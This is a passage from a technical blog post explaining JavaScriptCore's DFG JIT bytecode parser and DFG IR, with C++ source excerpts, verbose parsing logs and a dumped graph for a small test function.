</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> op_enter: {
</span></span><span style="display:flex;"><span>            Node<span style="color:#f92672">*</span> undefined <span style="color:#f92672">=</span> addToGraph(JSConstant, OpInfo(m_constantUndefined));
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// Initialize all locals to undefined.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> m_inlineStackTop<span style="color:#f92672">-&gt;</span>m_codeBlock<span style="color:#f92672">-&gt;</span>numVars(); <span style="color:#f92672">++</span>i)
</span></span><span style="display:flex;"><span>                set(virtualRegisterForLocal(i), undefined, ImmediateNakedSet);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            NEXT_OPCODE(op_enter);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// === Arithmetic operations ===
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> op_add: {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">auto</span> bytecode <span style="color:#f92672">=</span> currentInstruction<span style="color:#f92672">-&gt;</span>as<span style="color:#f92672">&lt;</span>OpAdd<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>            Node<span style="color:#f92672">*</span> op1 <span style="color:#f92672">=</span> get(bytecode.m_lhs);
</span></span><span style="display:flex;"><span>            Node<span style="color:#f92672">*</span> op2 <span style="color:#f92672">=</span> get(bytecode.m_rhs);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (op1<span style="color:#f92672">-&gt;</span>hasNumberResult() <span style="color:#f92672">&amp;&amp;</span> op2<span style="color:#f92672">-&gt;</span>hasNumberResult())
</span></span><span style="display:flex;"><span>                set(bytecode.m_dst, makeSafe(addToGraph(ArithAdd, op1, op2)));
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">set</span>(bytecode.m_dst, makeSafe(addToGraph(ValueAdd, op1, op2)));
</span></span><span style="display:flex;"><span>            NEXT_OPCODE(op_add);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> op_mov: {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">auto</span> bytecode <span style="color:#f92672">=</span> currentInstruction<span style="color:#f92672">-&gt;</span>as<span style="color:#f92672">&lt;</span>OpMov<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>            Node<span style="color:#f92672">*</span> op <span style="color:#f92672">=</span> get(bytecode.m_src);
</span></span><span style="display:flex;"><span>            set(bytecode.m_dst, op);
</span></span><span style="display:flex;"><span>            NEXT_OPCODE(op_mov);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Each basic block in the CodeBlock is parsed by the function <code>parseBlock</code> and adds <code>Nodes</code> to an unoptimised graph before returning to its calling function <code>parseCodeBlock</code>. The function <code>parseCodeBlock</code> returns once all basic blocks in the CodeBlock have been parsed and BasicBlocks, Nodes and Edges have been appended to the unoptimised graph.</p>
<p>As the instructions in the CodeBlock are parsed, each parsing step is logged to <em>stdout</em> when the <code>--verboseDFGBytecodeParsing=true</code> is added. Using our test script <code>test.js</code> and initiating DFG compilation of the <code>jitMe</code> function, the following output is logged to <em>stdout</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">Parsing</span> <span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">BcU0vO</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">NoneFunctionCall</span>, <span style="color:#ae81ff">15</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Parsing</span> <span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">BcU0vO</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">NoneFunctionCall</span>, <span style="color:#ae81ff">15</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">BcU0vO</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">BaselineFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">1</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">135</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">3</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">8</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">arg2</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">13</span>] <span style="color:#a6e22e">ret</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Jump</span> <span style="color:#a6e22e">targets</span><span style="color:#f92672">:</span> 
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span> <span style="color:#a6e22e">SetArgumentDefinitely</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span> <span style="color:#a6e22e">SetArgumentDefinitely</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span> <span style="color:#a6e22e">SetArgumentDefinitely</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">parsing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">op_enter</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span> <span style="color:#a6e22e">CountExecution</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">4</span> <span style="color:#a6e22e">JSConstant</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">5</span> <span style="color:#a6e22e">MovHint</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">6</span> <span style="color:#a6e22e">SetLocal</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">parsing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">op_add</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">27</span> <span style="color:#a6e22e">CountExecution</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span> <span style="color:#a6e22e">GetLocal</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span> <span style="color:#a6e22e">GetLocal</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span> <span style="color:#a6e22e">ValueAdd</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">31</span> <span style="color:#a6e22e">MovHint</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">32</span> <span style="color:#a6e22e">SetLocal</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">parsing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">13</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">op_ret</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">33</span> <span style="color:#a6e22e">CountExecution</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">34</span> <span style="color:#a6e22e">Return</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">35</span> <span style="color:#a6e22e">Flush</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">36</span> <span style="color:#a6e22e">Flush</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">appended</span> <span style="color:#a6e22e">D</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">37</span> <span style="color:#a6e22e">Flush</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Done</span> <span style="color:#a6e22e">parsing</span> <span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">BcU0vO</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">NoneFunctionCall</span>, <span style="color:#ae81ff">15</span>] (<span style="color:#a6e22e">fell</span> <span style="color:#a6e22e">off</span> <span style="color:#a6e22e">end</span>)
</span></span></code></pre></div><p>The snippet above lists the bytecodes that comprise the <code>jitMe</code> function and the DFG <code>Node</code>s that were generated for each bytecode. The values <code>D@1</code>, <code>D@2</code>, <code>D@3</code>, etc represent the <code>Node</code> and the values <code>SetArgumentDefinitely</code>, <code>CountExecution</code>, <code>JSConstant</code>, etc represent the DFG opcode.</p>
<p>The function <code>DFG::parse</code> returns when a complete unoptimised DFG for the function <code>jitMe</code> has been generated. With the <code>--dumpGraphAfterParsing=true</code> flag set, one can see the final graph printed to <em>stdout</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Graph after parsing:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span> DFG <span style="color:#66d9ef">for</span> jitMe<span style="color:#960050;background-color:#1e0010">#</span>BcU0vO:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>   Fixpoint state: BeforeFixpoint; Form: LoadStore; Unification state: LocallyUnified; Ref count state: EverythingIsLive
</span></span><span style="display:flex;"><span>         :   Arguments <span style="color:#66d9ef">for</span> block<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span>, D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>, D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span> Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>)<span style="color:#f92672">:</span> (OSR target)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Predecessors:
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Successors:
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   States: StructuresAreWatched, CurrentlyCFAUnreachable
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Vars Before: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Intersected Vars Before: arg2:(FullTop, TOP, TOP, none:StructuresAreClobbered) arg1:(FullTop, TOP, TOP, none:StructuresAreClobbered) arg0:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc0:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc1:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc2:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc3:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc4:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc5:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc6:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc7:(FullTop, TOP, TOP, none:StructuresAreClobbered)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Var Links: 
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">0</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetArgumentDefinitely(<span style="color:#66d9ef">this</span>(a), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">1</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetArgumentDefinitely(arg1(B<span style="color:#f92672">~/</span>FlushedJSValue), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">2</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetArgumentDefinitely(arg2(C<span style="color:#f92672">~/</span>FlushedJSValue), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">3</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        CountExecution(MustGen, <span style="color:#ae81ff">0x7fffeed961b0</span>, R:InternalState, W:InternalState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">4</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">4</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        JSConstant(JS<span style="color:#f92672">|</span>PureInt, Undefined, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#ae81ff">30</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        ValueAdd(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">31</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">31</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span>, MustGen, loc6, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitInvalid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">32</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">32</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span>, loc6(L<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc6), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">13</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">33</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">33</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        CountExecution(MustGen, <span style="color:#ae81ff">0x7fffeed96228</span>, R:InternalState, W:InternalState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">13</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">34</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">34</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Return(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span>, MustGen, W:SideState, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">13</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">35</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">35</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Flush(MustGen, arg2(C<span style="color:#f92672">~/</span>FlushedJSValue), R:Stack(arg2), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">13</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">36</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">36</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Flush(MustGen, arg1(B<span style="color:#f92672">~/</span>FlushedJSValue), R:Stack(arg1), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">13</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">37</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">37</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Flush(MustGen, <span style="color:#66d9ef">this</span>(a), R:Stack(<span style="color:#66d9ef">this</span>), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">13</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   States: InvalidBranchDirection, StructuresAreWatched
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Vars After: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Var Links: arg2:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">35</span> arg1:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">36</span> arg0:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">37</span> loc0:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">6</span> loc1:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">8</span> loc2:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">10</span> loc3:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">12</span> loc4:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">21</span> loc5:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">24</span> loc6:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">32</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span> GC Values:
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     Weak:Object: <span style="color:#ae81ff">0x7fffeedbb068</span> with butterfly (nil) (Structure <span style="color:#f92672">%</span>Bw:JSGlobalLexicalEnvironment), StructureID: <span style="color:#ae81ff">7676</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span></code></pre></div><p>The graph above is represented in DFG IR and in the next section we explore the three main IR constructs (i.e. BasicBlocks, Nodes and Edges) and how to read and interpret graphs.</p>
<h1 id="dfg-ir">DFG IR</h1>
<p>The DFG IR is the intermediate representation that is generated by the DFG bytecode parser. A DFG graph as seen in the example above is made up of one or more <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGBasicBlock.h"><code>BasicBlock</code></a>s and each <code>BasicBlock</code> is an ordered collection of Nodes. A <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGNode.h#L295"><code>Node</code></a> in a BasicBlock represents a DFG instruction/opcode and can also be linked to child nodes via <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGEdge.h"><code>Edges</code></a>. This IR is used by both the DFG and FTL tiers.</p>
<p>Let&rsquo;s attempt to generate DFG graphs for some common JavaScript language constructs and review the graph output. This will provide a more practical exploration of Nodes and Edges. To get familiar with the IR and its representation, let&rsquo;s being with the following test program that does trivial arithmetic and some load and store operations:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">$</span> <span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">test</span>.<span style="color:#a6e22e">js</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">y</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">arr</span>[<span style="color:#a6e22e">y</span>] <span style="color:#f92672">+=</span> <span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">sum</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">sum</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">y</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
